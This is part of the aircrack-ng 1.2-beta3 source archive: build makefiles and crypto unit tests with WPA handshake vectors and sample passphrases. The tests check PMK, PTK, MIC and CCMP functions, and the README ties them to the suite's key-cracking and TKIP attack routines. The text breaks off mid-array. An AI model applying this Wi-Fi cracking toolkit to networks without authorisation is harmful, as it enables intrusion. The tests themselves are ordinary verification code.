aircrack-ng-1.2-beta3/0000755000000000000000000000000012316431535013232 5ustar rootrootaircrack-ng-1.2-beta3/common.mak0000644000000000000000000000602612250512175015215 0ustar rootrootPKG_CONFIG ?= pkg-config ifndef TOOL_PREFIX TOOL_PREFIX = endif ifndef OSNAME OSNAME = $(shell uname -s | sed -e 's/.*CYGWIN.*/cygwin/g' -e 's,/,-,g') endif ifndef SQLITE SQLITE = false endif ifndef LIBAIRPCAP LIBAIRPCAP = endif ifeq ($(OSNAME), cygwin) EXE = .exe PIC = SQLITE = false else EXE = PIC = -fPIC ifndef SQLITE SQLITE = true endif endif COMMON_CFLAGS = ifeq ($(subst TRUE,true,$(filter TRUE true,$(sqlite) $(SQLITE))),true) COMMON_CFLAGS += -I/usr/local/include -DHAVE_SQLITE endif ifeq ($(pcre), true) PCRE = true endif ifeq ($(PCRE), true) COMMON_CFLAGS += $(shell pcre-config --cflags) -DHAVE_PCRE endif ifeq ($(OSNAME), cygwin) COMMON_CFLAGS += -DCYGWIN else ifneq ($(libnl), false) NL3xFOUND := $(shell $(PKG_CONFIG) --atleast-version=3.2 libnl-3.0 && echo Y) ifneq ($(NL3xFOUND),Y) NL31FOUND := $(shell $(PKG_CONFIG) --exact-version=3.1 libnl-3.1 && echo Y) ifneq ($(NL31FOUND),Y) NL3FOUND := $(shell $(PKG_CONFIG) --atleast-version=3 libnl-3.0 && echo Y) ifneq ($(NL3FOUND),Y) NL1FOUND := $(shell $(PKG_CONFIG) --atleast-version=1 libnl-1 && echo Y) endif endif endif ifeq ($(NL1FOUND),Y) NLLIBNAME = libnl-1 endif ifeq ($(NL3xFOUND),Y) COMMON_CFLAGS += -DCONFIG_LIBNL30 LIBS += -lnl-genl-3 NLLIBNAME = libnl-3.0 endif ifeq ($(NL3FOUND),Y) COMMON_CFLAGS += -DCONFIG_LIBNL30 LIBS += -lnl-genl NLLIBNAME = libnl-3.0 endif # nl-3.1 has a broken libnl-gnl-3.1.pc file # as show by pkg-config --debug --libs --cflags --exact-version=3.1 libnl-genl-3.1;echo $? ifeq ($(NL31FOUND),Y) COMMON_CFLAGS += -DCONFIG_LIBNL30 LIBS += -lnl-genl NLLIBNAME = libnl-3.1 endif ifeq ($(NLLIBNAME),) $(error Cannot find development files for any supported version of libnl. install either libnl1 or libnl3.) endif LIBS += $(shell $(PKG_CONFIG) --libs $(NLLIBNAME)) COMMON_CFLAGS += $(shell $(PKG_CONFIG) --cflags $(NLLIBNAME)) endif ifeq ($(subst TRUE,true,$(filter TRUE true,$(airpcap) $(AIRPCAP))),true) LIBAIRPCAP = -DHAVE_AIRPCAP -I$(AC_ROOT)/../developers/Airpcap_Devpack/include endif ifneq ($(origin CC),environment) CC = $(TOOL_PREFIX)gcc endif RANLIB ?= $(TOOL_PREFIX)ranlib ifneq ($(origin AR),environment) AR = $(TOOL_PREFIX)ar endif REVISION = $(shell $(AC_ROOT)/evalrev $(AC_ROOT)) REVFLAGS ?= -D_REVISION=$(REVISION) OPTFLAGS = -D_FILE_OFFSET_BITS=64 CFLAGS ?= -g -W -Wall -O3 CFLAGS += $(OPTFLAGS) $(REVFLAGS) $(COMMON_CFLAGS) prefix = /usr/local bindir = $(prefix)/bin sbindir = $(prefix)/sbin mandir = $(prefix)/share/man/man1 smandir = $(prefix)/share/man/man8 datadir = $(prefix)/share docdir = $(datadir)/doc/aircrack-ng libdir = $(prefix)/lib etcdir = $(prefix)/etc/aircrack-ng GCC_OVER45 = $(shell expr 45 \<= `$(CC) -dumpversion | awk -F. '{ print $1$2 }'`) ifeq ($(GCC_OVER45), 0) GCC_OVER45 = $(shell expr 4.5 \<= `$(CC) -dumpversion | awk -F. '{ print $1$2 }'`) endif ifeq ($(GCC_OVER45), 1) CFLAGS += -Wno-unused-but-set-variable -Wno-array-bounds endif aircrack-ng-1.2-beta3/test/0000755000000000000000000000000012316431257014212 5ustar rootrootaircrack-ng-1.2-beta3/test/Chinese-SSID-Name.pcap0000644000000000000000000000043711352453512020054 0ustar rootrootÔò¡ÿÿiQ¨K®÷÷€ÿÿÿÿÿÿ$À„$À„ ¡I±½d1²âÊÔ‚„‹– $20H`l3 3! *-îÿ =ÝPò¤'¤BC^b2/ zÝL3îÿ ÝL4Ý Caircrack-ng-1.2-beta3/test/cryptounittest/0000755000000000000000000000000012316431231017322 5ustar rootrootaircrack-ng-1.2-beta3/test/cryptounittest/tests.h0000644000000000000000000000332612004020431020627 0ustar rootroot/* * * tests.h * * Copyright (C) 2012 Carlos Alberto Lopez Perez * * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, * MA 02110-1301, USA. * */ int ntest=1; void hexdump (unsigned char *buffer, int length) { int i,x; x=1; for (i=0; i15) { x=0; printf("\n"); } x++; } printf("\n"); } int test (unsigned char *computed, unsigned char *expected, int length, char* name) { int z; int error=0; for (z=0; z< length; z++) if ( computed[z] != expected[z] ) error = 1; if (error == 1) { printf ("[%s][Test %d] ERROR: The output don't match. I got:\n",name,ntest++); hexdump (computed,length); printf ("And i was expecting:\n"); hexdump (expected,length); } else { printf("[%s][Test %d] OK: Output matchs :)\n",name,ntest++); } return error; } aircrack-ng-1.2-beta3/test/cryptounittest/test-calc-ptk.c0000644000000000000000000001301312251615154022145 0ustar rootroot/* * * test-calc-ptk.c * * Copyright (C) 2012 Carlos Alberto Lopez Perez * * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, * MA 02110-1301, USA. * */ #include #include #include #include "crypto.h" #include "tests.h" #include int main(int argc, char **argv) { if (argc < 1) return 1; int error=0; static unsigned char opmk[32] = "\xee\x51\x88\x37\x93\xa6\xf6\x8e\x96\x15\xfe\x73\xc8\x0a\x3a\xa6" "\xf2\xdd\x0e\xa5\x37\xbc\xe6\x27\xb9\x29\x18\x3c\xc6\xe5\x79\x25"; static unsigned char ostmac[6] = "\x00\x13\x46\xfe\x32\x0c"; static unsigned char obssid[6] = "\x00\x14\x6c\x7e\x40\x80"; static unsigned char osnonce[32] = "\x59\x16\x8b\xc3\xa5\xdf\x18\xd7\x1e\xfb\x64\x23\xf3\x40\x08\x8d" "\xab\x9e\x1b\xa2\xbb\xc5\x86\x59\xe0\x7b\x37\x64\xb0\xde\x85\x70"; static unsigned char oanonce[32] = "\x22\x58\x54\xb0\x44\x4d\xe3\xaf\x06\xd1\x49\x2b\x85\x29\x84\xf0" "\x4c\xf6\x27\x4c\x0e\x32\x18\xb8\x68\x17\x56\x86\x4d\xb7\xa0\x55"; static unsigned char okeymic[20] = "\xd5\x35\x53\x82\xb8\xa9\xb8\x06\xdc\xaf\x99\xcd\xaf\x56\x4e\xb6" "\x00\x00\x00\x00"; static unsigned char optk[80] = "\x0d\xde\xae\x80\x83\xf9\x2c\xa9\xaf\xdb\x25\x0d\xde\xe5\x25\x1b" "\xc0\xee\xb4\x7e\xf2\x2a\xf7\x9e\x25\x34\x6e\x8b\x73\xe2\xca\x7d" "\x94\xb0\x60\x5f\x2e\xed\x66\xd8\x60\x76\xb3\x38\xa6\x65\xfe\xe3" "\x9f\xde\x22\x1e\xb1\x38\x6b\x3d\xa7\xac\x6a\xbe\x7e\xe0\x00\x1f" "\xbd\x92\xab\xec\xc8\xba\x49\xf0\x5d\xff\x8f\x50\x1e\xfa\xaa\xcc"; static unsigned char eptk[80] = "\xea\x0e\x40\x46\x33\xc8\x02\x45\x03\x02\x86\x8c\xca\xa7\x49\xde" "\x5c\xba\x5a\xbc\xb2\x67\xe2\xde\x1d\x5e\x21\xe5\x7a\xcc\xd5\x07" "\x9b\x31\xe9\xff\x22\x0e\x13\x2a\xe4\xf6\xed\x9e\xf1\xac\xc8\x85" "\x45\x82\x5f\xc3\x2e\xe5\x59\x61\x39\x5a\xe4\x37\x34\xd6\xc1\x07" "\x98\xef\x5a\xfe\x42\xc0\x74\x26\x47\x18\x68\xa5\x77\xd4\xd1\x7e"; static unsigned char oeapol[256]= "\x01\x03\x00\x75\x02\x01\x0a\x00\x10\x00\x00\x00\x00\x00\x00\x00" "\x01\x59\x16\x8b\xc3\xa5\xdf\x18\xd7\x1e\xfb\x64\x23\xf3\x40\x08" "\x8d\xab\x9e\x1b\xa2\xbb\xc5\x86\x59\xe0\x7b\x37\x64\xb0\xde\x85" "\x70\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x16\x30\x14\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac" "\x04\x01\x00\x00\x0f\xac\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; unsigned char pmk[32]; memcpy(&pmk, &opmk, 32); struct WPA_ST_info *wpa; wpa=(struct WPA_ST_info *) malloc(sizeof(struct WPA_ST_info)); // default to zero bzero(wpa,sizeof(struct WPA_ST_info)); memcpy(wpa->stmac,&ostmac,6); memcpy(wpa->bssid,&obssid,6); memcpy(wpa->ptk,&optk,80); memcpy(wpa->anonce,&oanonce,32); // not valid_ptk if ((1==1) == (calc_ptk (wpa, pmk))) error++; error += test(pmk,opmk,32, argv[0]); error += test(wpa->ptk,optk,80, argv[0]); // calc another one wpa->eapol_size=121; memcpy(wpa->eapol,&oeapol,256); memcpy(wpa->keymic,&okeymic,20); memcpy(wpa->snonce,&osnonce,32); // valid ptk if ((1==1) != (calc_ptk (wpa, pmk))) error++; error += test(pmk,opmk,32, argv[0]); error += test(wpa->ptk,eptk,80, argv[0]); free(wpa); return error; } aircrack-ng-1.2-beta3/test/cryptounittest/test-calc-pmk.c0000644000000000000000000000361212251615154022142 0ustar rootroot/* * * test-calc-pmk.c * * Copyright (C) 2012 Carlos Alberto Lopez Perez * * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, * MA 02110-1301, USA. * */ #include #include #include #include "crypto.h" #include "tests.h" #define PLEN 40 #define KLEN 14 int main(int argc, char **argv) { if (argc < 1) return 1; int error=0; static unsigned char input[PLEN] = "\x72\xea\x7c\xf3\x62\xd0\x63\xb6\xf6\x3b\xd6\xfc\x1c\x6c\xc0\x18" "\xd0\x10\x23\xd6\x86\x4e\x04\xf0\x0e\xc7\x34\xca\x66\x34\x01\xac" "\x46\xd4\x7d\x15\x24\xa7\xaa\xb0"; static unsigned char expected[PLEN] = "\x1d\x4d\xf5\x5d\xd8\xd9\x13\xf5\x54\x0d\x05\x3c\xdb\x57\x83\x53" "\xd0\x6c\x0f\xb3\x50\x71\x10\xee\x48\xda\xce\x2b\x60\xf6\xd0\xd4" "\xc2\x24\x39\x9f\xe8\x1d\x1e\x80"; static char key[KLEN] = "\x6E\x9C\x7A\x91\x9F\xB8\xAE\x93\xC1\xAB\x80\x3C\x09\x00"; static char essid[8] = "T3st1ng"; unsigned char pmk[PLEN]; memcpy(&pmk, &input, PLEN); calc_pmk( key, essid, pmk ); error += test(pmk,expected,PLEN, argv[0]); calc_pmk( key, essid, pmk ); error += test(pmk,expected,PLEN, argv[0]); return error; } aircrack-ng-1.2-beta3/test/cryptounittest/test-calc-mic.c0000644000000000000000000001346212251615154022127 0ustar rootroot/* * * test-calc-mic.c * * Copyright (C) 2012 Carlos Alberto Lopez Perez * * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, * MA 02110-1301, USA. * */ #include #include #include #include "crypto.h" #include "tests.h" #include "aircrack-ng.h" #include int main(int argc, char **argv) { if (argc < 1) return 1; int error=0; static unsigned char opmk[32] = "\x6f\xe8\x57\xc0\xb7\x42\xdf\xc2\xda\x8a\x1f\xe8\xb1\xb4\xb4\x62" "\x8d\x9f\xbb\xb0\x60\x82\x6b\x83\xcb\x43\xb6\x4b\x13\xe1\x03\xe8"; static unsigned char optk[80] = "\x28\x00\x00\x00\x00\x00\x00\x00\x18\x81\xd5\x96\xff\x7f\x00\x00" "\x64\x00\x00\x00\x00\x00\x00\x00\x9f\x84\x00\x51\xd8\x7f\x00\x00" "\x58\x33\xcf\x01\x00\x00\x00\x00\x21\x00\x00\x00\x00\x00\x00\x00" "\x10\xb3\xd3\x01\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" "\x30\x9d\xd3\x01\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"; static unsigned char omic[20] = "\x01\x00\x00\x00\x00\x00\x00\x00\x64\x00\x00\x00\x00\x00\x00\x00" "\x30\x9d\xd3\x01"; //expected static unsigned char eptk[80] = "\x9a\x75\xef\x0b\xde\x7c\x20\x9c\xca\xe1\x3f\x54\xb1\xb3\x3e\xa3" "\xfa\x01\x66\x16\x6e\x30\x81\x1f\x1b\xaa\xff\x8d\x1c\x1a\xc1\x63" "\x82\xa4\x9b\x50\xb8\x60\x88\xc5\xcb\x79\x3b\x54\x26\x61\xa2\x8a" "\x64\x69\x3c\x72\xb8\x66\x73\xe0\xa8\x2d\x48\xc7\x47\x68\xcb\xf9" "\xa1\xbf\x86\xcc\x30\xb9\xd6\x3d\xe8\x82\x59\x25\xec\x1f\x4d\x3f"; // expected emic when wpa.keyver=2 static unsigned char emic2[20] = "\x6f\x04\x89\xcf\x74\x06\xac\xf0\xae\x8f\xcb\x32\xbc\xe5\x7c\x37" "\x79\x3a\x23\x61"; // expected emic when wpa.keyver=1 static unsigned char emic1[20] = "\x9c\xc3\xfa\xa0\xc6\x85\x96\x1d\x84\x06\xbb\x65\x77\x45\x13\x5d" "\x30\x9d\xd3\x01"; // AP structure struct AP_info *ap; ap=(struct AP_info *) malloc(sizeof(struct AP_info)); bzero(ap,sizeof(struct AP_info)); unsigned char stmac[6] = "\x00\x13\x46\xfe\x32\x0c"; unsigned char snonce[32] = "\x59\x16\x8b\xc3\xa5\xdf\x18\xd7\x1e\xfb\x64\x23\xf3\x40\x08\x8d" "\xab\x9e\x1b\xa2\xbb\xc5\x86\x59\xe0\x7b\x37\x64\xb0\xde\x85\x70"; unsigned char anonce[32] = "\x22\x58\x54\xb0\x44\x4d\xe3\xaf\x06\xd1\x49\x2b\x85\x29\x84\xf0" "\x4c\xf6\x27\x4c\x0e\x32\x18\xb8\x68\x17\x56\x86\x4d\xb7\xa0\x55"; unsigned char keymic[16] = "\xd5\x35\x53\x82\xb8\xa9\xb8\x06\xdc\xaf\x99\xcd\xaf\x56\x4e\xb6"; unsigned char eapol[256] = "\x01\x03\x00\x75\x02\x01\x0a\x00\x10\x00\x00\x00\x00\x00\x00\x00" "\x01\x59\x16\x8b\xc3\xa5\xdf\x18\xd7\x1e\xfb\x64\x23\xf3\x40\x08" "\x8d\xab\x9e\x1b\xa2\xbb\xc5\x86\x59\xe0\x7b\x37\x64\xb0\xde\x85" "\x70\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x16\x30\x14\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac" "\x04\x01\x00\x00\x0f\xac\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; unsigned char bssid[6] = "\x00\x14\x6c\x7e\x40\x80"; unsigned char essid[33] = "Harkonen"; struct WPA_hdsk wpa; /* valid WPA handshake data */ memcpy(&wpa.stmac,&stmac,6); memcpy(&wpa.snonce,&snonce,32); memcpy(&wpa.anonce,&anonce,32); memcpy(&wpa.keymic,&keymic,16); memcpy(&wpa.eapol,&eapol,256); wpa.eapol_size=121; wpa.state=7; memcpy(&ap->bssid,bssid,6); memcpy(&ap->essid,essid,33); unsigned char pmk[32]; memcpy(&pmk, &opmk, 32); unsigned char ptk[80]; memcpy(&ptk, &optk, 80); unsigned char mic[20]; memcpy(&mic, &omic, 20); wpa.keyver=1; ap->wpa = wpa; calc_mic (ap, pmk, ptk, mic); error += test(pmk,opmk,32, argv[0]); error += test(ptk,eptk,80, argv[0]); error += test(mic,emic1,20, argv[0]); wpa.keyver=2; ap->wpa = wpa; calc_mic (ap, pmk, ptk, mic); error += test(pmk,opmk,32, argv[0]); error += test(ptk,eptk,80, argv[0]); error += test(mic,emic2,20, argv[0]); free(ap); return error; } aircrack-ng-1.2-beta3/test/cryptounittest/README0000644000000000000000000000407012004020431020171 0ustar rootrootThis tests are meant to ensure that all functions of aircrack-ng where OpenSSL code is used [1] perform exactly the same (same input=>same output) when running with OpenSSL or with the alternative crypto (Libgcrypt+sha1-git) To run the tests with OpenSSL (useful for ensuring that the tests are still valid): make clean && make check To run the tests with Libgcrypt+sha1-git: make clean && make check gcrypt=true To check for memory leaks: cd test/cryptounittest; make clean && make valgrind gcrypt=true Return value: Each one of the tests, when successful return zero, and when failed return the number of tests (>0) failed. The "make check" target will fail if any of the tests return non-zero. [1] This are 4 functions of crypto.c {encrypt_wep,calc_pmk,calc_mic,calc_ptk} And 1 function of sha1-see2.h {calc_4pmk} ----------------------------------------------------------------------------- [TEST] file:testedfunction -> usedbyfile:function [test-encrypt-wep.c] crypto.c:encrypt_wep -> airbase-ng.c:encrypt_data airbase-ng.c:getCompleteFrag airtun-ng.c:packet_xmit airtun-ng.c:getCompleteFrag tkiptun-ng.c:do_attack_tkipchop [test-calc-pmk.c] crypto.c:calc_pmk -> aircrack-ng.c:crack_wpa_thread [test-calc-mic.c] crypto.c:calc_mic -> aircrack-ng.c:sql_wpacallback [test-calc-ptk.c] crypto.c:calc_ptk -> airdecap-ng.c:main tkiptun-ng.c:main [test-decrypt-ccmp.c] crypto.c:decrypt_ccmp -> airdecap-ng.c:main (wpa-v2) [test-calc-4pmk.c] sha1-see2.h:calc_4pmk -> aircrack-ng.c:crack_wpa_thread aircrack-ng-1.2-beta3/test/cryptounittest/Makefile0000644000000000000000000000337712101042565020774 0ustar rootrootAC_ROOT = ../.. SRC_DIR = $(AC_ROOT)/src include $(AC_ROOT)/common.mak CFLAGS += -I$(SRC_DIR) -I$(SRC_DIR)/include ifeq ($(subst TRUE,true,$(filter TRUE true,$(gcrypt) $(GCRYPT))),true) LIBSSL = -lgcrypt $(LDFLAGS) CFLAGS += -DUSE_GCRYPT else LIBSSL = -lssl -lcrypto $(LDFLAGS) endif all: check SRC_CRYPTO = $(AC_ROOT)/src/crypto.c $(AC_ROOT)/src/sha1-git.c TESTFILES = test-encrypt-wep$(EXE) test-calc-pmk$(EXE) test-calc-mic$(EXE) test-calc-ptk$(EXE) test-decrypt-ccmp$(EXE) test-calc-4pmk$(EXE) OBJS_TEST_EWEP = test-encrypt-wep.c $(SRC_CRYPTO) OBJS_TEST_CPMK = test-calc-pmk.c $(SRC_CRYPTO) OBJS_TEST_4PMK = test-calc-4pmk.c $(SRC_CRYPTO) OBJS_TEST_CMIC = test-calc-mic.c $(SRC_CRYPTO) OBJS_TEST_CPTK = test-calc-ptk.c $(SRC_CRYPTO) OBJS_TEST_DCMP = test-decrypt-ccmp.c $(SRC_CRYPTO) test-encrypt-wep$(EXE): $(OBJS_TEST_EWEP) $(CC) $(CFLAGS) $(OBJS_TEST_EWEP) -o $(@) $(LIBSSL) test-calc-pmk$(EXE): $(OBJS_TEST_CPMK) $(CC) $(CFLAGS) $(OBJS_TEST_CPMK) -o $(@) $(LIBSSL) test-calc-4pmk$(EXE): $(OBJS_TEST_4PMK) $(CC) $(CFLAGS) $(OBJS_TEST_4PMK) $(AC_ROOT)/src/sha1-sse2.S -o $(@) $(LIBSSL) test-calc-mic$(EXE): $(OBJS_TEST_CMIC) $(CC) $(CFLAGS) $(OBJS_TEST_CMIC) -o $(@) $(LIBSSL) test-calc-ptk$(EXE): $(OBJS_TEST_CPTK) $(CC) $(CFLAGS) $(OBJS_TEST_CPTK) -o $(@) $(LIBSSL) test-decrypt-ccmp$(EXE): $(OBJS_TEST_DCMP) $(CC) $(CFLAGS) $(OBJS_TEST_DCMP) -o $(@) $(LIBSSL) default: check check: $(TESTFILES) $(foreach TEST,$(TESTFILES), \ ./$(TEST) || exit 1; \ ) valgrind: $(TESTFILES) $(foreach TEST,$(TESTFILES), \ echo "Testing $$test for memory leaks with valgrind ..." ; \ valgrind -q --error-exitcode=1 --leak-check=yes ./$(TEST) || exit 1; \ ) clean: rm -f $(TESTFILES) rm -f vgcore* aircrack-ng-1.2-beta3/test/cryptounittest/test-calc-4pmk.c0000644000000000000000000000503212251615154022224 0ustar rootroot/* * * test-calc-4pmk.c * * Copyright (C) 2012 Carlos Alberto Lopez Perez * * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, * MA 02110-1301, USA. * */ #include #include #include #include "crypto.h" #include "sha1-sse2.h" #include "tests.h" #define KLEN 32 int main(int argc, char **argv) { if (argc < 1) return 1; int error=0, j; char key[4][128]; unsigned char pmk[4][128]; unsigned char epmk[4][128]; bzero(&pmk,sizeof(pmk)); bzero(&epmk,sizeof(epmk)); bzero(&key,sizeof(key)); strcpy(key[0],"biscotte"); strcpy(key[1],"password"); strcpy(key[2],"aircrack"); strcpy(key[3],"keyboard"); memcpy(epmk[0], "\xcd\xd7\x9a\x5a\xcf\xb0\x70\xc7\xe9\xd1\x02\x3b\x87\x02\x85\xd6" "\x39\xe4\x30\xb3\x2f\x31\xaa\x37\xac\x82\x5a\x55\xb5\x55\x24\xee", KLEN); memcpy(epmk[1], "\x9a\x15\xed\x29\xa9\xb8\x0e\x5d\x52\x32\xa0\x64\x4c\xfd\x40\x4b" "\x83\x97\x9b\x57\xaf\x83\x05\x80\x6d\xd4\xd4\x86\x50\x06\xed\x7d", KLEN); memcpy(epmk[2], "\x12\x8c\x41\xed\xf5\x32\x1c\x51\x1f\xd6\xaf\x07\x96\x95\xdf\x71" "\x5c\xb1\xb7\x68\x6f\x1a\xed\xe9\x70\x1e\x87\x07\xb8\xc9\xb4\x3b", KLEN); memcpy(epmk[3], "\xbb\x84\x66\x33\xef\x41\x5a\xb6\xcd\x83\x93\xc6\x00\x18\x26\x42" "\x76\x62\x7c\x4e\xbc\x6b\x8f\x20\x9b\xbe\x59\xb4\x86\x71\x69\xdd", KLEN); static char essid[] = "test"; #if defined(__i386__) || defined(__x86_64__) // Check for SSE2, with SSE2 the algorithm works with 4 keys if (shasse2_cpuid()>=2) { calc_4pmk( key[0], key[1], key[2], key[3], essid, pmk[0], pmk[1], pmk[2], pmk[3] ); for (j=0;j<4;j++) error += test(pmk[j],epmk[j],32, argv[0]); } #endif // do non-sse calc_pmk for(j=0; j<4; ++j) calc_pmk( key[j], essid, pmk[j] ); for (j=0;j<4;j++) error += test(pmk[j],epmk[j],32, argv[0]); return error; } aircrack-ng-1.2-beta3/test/cryptounittest/test-decrypt-ccmp.c0000644000000000000000000003512612251615154023052 0ustar rootroot/* * * test-decrypt-ccmp.c * * Copyright (C) 2012 Carlos Alberto Lopez Perez * * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, * MA 02110-1301, USA. * */ #include #include #include #include "crypto.h" #include "tests.h" #define BUFFER_SIZE 65536 int main(int argc, char **argv) { if (argc < 1) return 1; int error=0; int caplen1 = 81; unsigned char tk1[16] = "\x1d\x03\x5e\x8b\xeb\x4f\x83\x61\x1d\xc9\x3e\x26\x57\xce\xcf\x69"; unsigned char h80211[1496] = "\x08\x41\x02\x01\x00\x0b\x86\xc2\xa4\x85\x00\x13\xce\x55\x98\xef" "\x00\x0f\x66\xe3\xe4\x01\x20\x2e\x01\x00\x00\x20\x00\x00\x00\x00" "\x95\xc3\x1e\x2d\x02\x01\x58\x9f\x4d\xeb\xe2\x27\xc4\xe9\xc2\x1d" "\xb1\x2c\x7a\x66\x6a\x35\x80\x8a\xbe\x1e\x73\x8d\xab\x1d\xa3\x6b" "\xa0\xf3\x16\x81\x70\x9a\x94\xf0\xb6\x53\x2c\xd6\x93\x5b\x14\x13" "\x59\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x41\xe2\x61\x88\x6d\xb4\xde\x64\x11\x22\xc7\xc2\x24\x02\x60" "\x51\x00\x00\x30\x82\x09\x57\x76\x59\xa9\xd2\x35\x57\x73\x12\xc4" "\x69\x34\x0f\xd0\x2c\x1f\x55\xa9\xcf\x6a\xc3\x08\x03\x6f\xa1\x4a" "\x9e\xa6\xef\x71\x6d\xb6\x2f\xcc\x0c\xbb\x40\x6e\x90\x1d\x3e\xa2" "\x53\xf9\x26\x71\x65\x02\x47\xd1\xb6\xb1\x01\xd9\x48\x80\xcd\x6c" "\x65\x75\x5b\xf4\x95\x1a\x68\xae\xdf\x8b\x8d\xbb\x5f\x4f\xd5\x8b" "\x66\xb1\x3c\x72\x16\xe8\x5b\x70\x6f\x1b\xdd\xa7\x8a\xd8\x24\xed" "\xc9\x77\x1a\xa0\x74\x36\x3e\x70\x5b\x52\xbd\x7c\x11\x50\x60\x1d" "\x24\x85\x8b\x8a\xb3\x63\x5c\x5b\x09\x94\xaf\xa5\xe8\xc4\xae\x65" "\x92\xa8\x26\xfd\x28\x43\x37\x4c\x6d\x19\x79\x14\x95\x40\x5a\xf6" "\x98\xb7\xd7\x79\xfb\xfe\xbd\x0c\xc5\xf8\x77\xaf\x98\x9e\xf4\xad" "\xce\x40\xcc\x28\xeb\xc6\xa9\xd7\xf9\x98\xfc\xbb\xc3\x66\x94\x4e" "\xea\x6e\xdd\x30\x3b\x65\x6b\xfd\x05\xa8\x68\x2e\x7e\xaa\x43\xe4" "\x65\x26\x11\x83\x86\xe1\x68\x15\x90\xdf\x81\x5c\x01\xdf\x3d\x85" "\x56\x34\x14\x31\x2a\xbf\x6f\xb5\xd6\xcf\xbe\xe9\x07\xc9\x36\xe7" 